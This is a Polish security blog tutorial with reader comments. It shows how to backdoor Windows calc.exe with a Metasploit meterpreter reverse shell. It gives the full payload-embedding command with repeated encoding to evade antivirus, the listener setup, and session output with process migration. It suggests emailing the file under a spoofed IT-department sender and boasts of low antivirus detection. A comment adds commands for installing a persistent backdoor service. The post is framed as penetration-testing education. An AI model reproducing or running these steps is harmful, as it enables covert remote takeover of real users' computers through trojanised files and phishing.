30 marca 2010

Tak robią to komputerowi przestępcy IV (dodanie złośliwego kodu do pliku EXE)

W ramach cyklu Tak robią to komputerowi przestępcy... omówiliśmy już przykładowy atak z wykorzystaniem specjalnie spreparowanej strony WWW, przykładowy atak phishingowy, oraz jeden z popularnych sposobów na przejęcie cudzego konta e-mail. Dziś natomiast zapoznamy się z prostym sposóbem na umieszczenie potencjalnie niebezpiecznego kodu w dowolnym pliku wykonywalnym EXE.

O funkcję pozwalającą na umieszczenie własnego potencjalnie szkodliwego kodu (payloadu) w dowolnym (jest to pewne uproszczenie, tak naprawdę na chwile obecną często napotkamy problemy w działaniu wynikowego pliku) pliku wykonywalnym EXE wzbogaciło się ostatnio środowisko Metasploit Framework. Myli się ten, kto dla takiej funkcji widzi wyłącznie zastosowania niezgodne z prawem. Tego typu plik możemy w pełni legalnie wykorzystać do przeprowadzania socjotechnicznych testów penetracyjnych. Spróbujmy więc dołączyć do obecnego w każdym systemie Windows pliku calc.exe wybranego przez nas backdoora.

Jak zwykle skorzystamy ze stworzonego z myślą o testach penetracyjnych systemu Linux BackTrack 4 Final. W celu utworzenia naszego pliku, wykorzystamy moduł msfpayload oraz payload windows/meterpreter/reverse_tcp. Jako bazowy plik posłuży nam calc.exe z systemu Windows XP SP3 (plik ten należy mieścić w systemie Backtrack w katalogu /opt/metasploit3/msf3). Polecenie pozwalające na utworzenia naszego pliku ma następującą postać:
  • ./msfpayload windows/meterpreter/reverse_tcp LHOST= 192.168.11.134 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5
Warto zwrócić uwagą na parametr LHOST (określający adres, z którym payload ma nawiązać połączenie zwrotne – czyli adres komputera na którym będzie nasłuchiwał listener) oraz na zastosowane pięciokrotne kodowanie shikata_ga_nai, którego zadaniem jest utrudnienie pracy programom antywirusowym. W wyniku otrzymamy plik calc_backdoor.exe.

Teraz wystarczy już tylko przygotować listener zdolny do odebrania połączenia zwrotnego z maszyny, w której nasz backdoor zostanie uruchomiony. Dokonamy tego w następujący sposób za pomocą msfconsole:
root@bt:/opt/metasploit3/msf3# ./msfconsole msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.11.134
LHOST => 192.168.11.134
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.11.134:4444
[*] Starting the payload handler…
Teraz wystarczy już tylko przekonać użytkownika docelowego systemu do otwarcia naszego specjalnego kalkulatora, po czym otrzymamy możliwość przejęcia kontroli nad jego systemem:
[*] Sending stage (748032 bytes) [*] Meterpreter session 3 opened (192.168.11.134:4444 -> 192.168.11.135:51695)
W tym momencie warto przenieść się do innego procesu, tak by zamknięcie kalkulatora przez użytkownika docelowego systemu nie spowodowało jednocześnie zamknięcia naszej sesji:
meterpreter > getuid Server username: WINXPSP3\user
meterpreter > run migrate explorer.exe
[*] Current server process: calc_backdoor.exe (3360)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 1592
[*] New server process: Explorer.EXE (1592)
meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > getpid
Current pid: 1592
meterpreter >
Udało nam się więc przejąć całkowitą kontrolę nad docelowym systemem.

Tego typu plik można z powodzeniem wykorzystać do przeprowadzenia bardzo interesujących i nietypowych (socjotechnicznych) testów penetracyjnych. Wystarczy tylko przykładowo rozesłać użytkownikom nasz plik w załączeniu do e-maila wyjaśniającego w zręczny sposób (manipulacja adresem nadawcy pozwoli nam wystąpić w roli lokalnego działu informatycznego) konieczność używania nowego, lepszego kalkulatora...

Co do programów antywirusowych, to na chwilę obecną wygenerowany przeze mnie plik jest oznaczany jako zagrożenie tylko przez 11 z 42 silników antywirusowych dostępnych w ramach VirusTotal. Mamy więc sporą szansę na pomyślne wykonanie takiego testu.

Artykuł autorski HCSL - Wojciech Smol

Komentarze (10)

Wczytywanie... Logowanie...
  • Zalogowany jako
Po uzyskaniu dostępu do testowanego systemu ,bardzo przydatną rzeczą jest zainstalowanie backdoora, który pozwala na dostęp kiedy tylko dany system jest uruchomiony i podłączony do internetu.Instalacja takiego backdoora wygląda następująco:

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:DOCUME~1victimLOCALS~1TempJplTpVnksh...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
[*] * Installing service metsvc
* Starting service
Service metsvc successfully installed

Jak widzimy polecenie "run metsvc" powoduje zainstalownie backdoora na testowanym systemie oraz dodanie go do rejestru w celu każdorazowego uruchamiania przy starcie systemu.Backdoor ten nasłuchuje cały czas na porcie 31337.
Przykładowe połączenie z zainstalowanym backdoorem:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
msf exploit(handler) > expoit

Jak widzimy parametrem RHOST jest adres IP systemu na którym znajduje się backdoor, parametr LPORT jest portem na którym nasłuchuje nasz backdoor.Po uruchomieniu naszego PAYLOAD "metsvc_bind_tcp" komendą "exploit", nasze udane połączenie powinno wyglądać następująco:
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 ->; 192.168.1.104:31337)

I w ten oto sposób możemy cieszyć sie dostępem do systemu w każdej chwili gdy tylko dany system jest podlaczony do internetu :)
1 odpowiedź · aktywny 788 tygodni temu
Z pomocą Metasploita można po prostu robić rzeczy, o których nie śniło się filozofom ;)...
Hey!
Czy tak wygenerowany calc, powinien sie normalnie odpalic i funkcjonowac, czy tylko w tle uruchomi połaczenie?
1 odpowiedź · aktywny 787 tygodni temu
Chodzi właśnie o to, by normalnie funkcjonował i jednocześnie uruchamiał połączenie zwrotne. Niestety, nie zawsze to tak działa - ta funkcja Metasploita nie jest jeszcze doskonała, ale przy odrobinie testów powinno się udać.
witam
zrobilem wszystko jak jest w opisie i wygenerowalem plik calc_backodoor.exe. Moj problem polega na tym ze nie chce on sie wogule uruchomic (testowany na win vista oraz win xp sp3).Prosze o jakas podpowiedz.
pozdrawiam i zycze Wesolych Swiat.
2 odpowiedzi · aktywny 787 tygodni temu
Przede wszystkim upewnij się, że zawsze pracujesz z najnowszą dostępną wersją Metasploita Framework. Polecenie svn update z poziomu msfconsole załatwi sprawę. Po drugie również miałem różne problemy z tym modułem. Wygląda na to, że tylko czasami udaje się prawidłowo (nie zaburzając działania pliku exe) dodać własny kod. Spróbuj z inną wersją kalkulatora, myślę też, że funkcja ta będzie z czasem dopracowywana.
A ja nie mogę włączyć nawet czystego kalkulatora od w7...
Windows...
Buuu...
Nie działa...
Na W7 wywala się każdy przerobiony program...
2 odpowiedzi · aktywny 787 tygodni temu
Zamiast narzekać... contribute! Metasploita tworzy community ;).
Bo myślisz ze to takie łatwe :).

Wyślij nowy komentarz

Comments by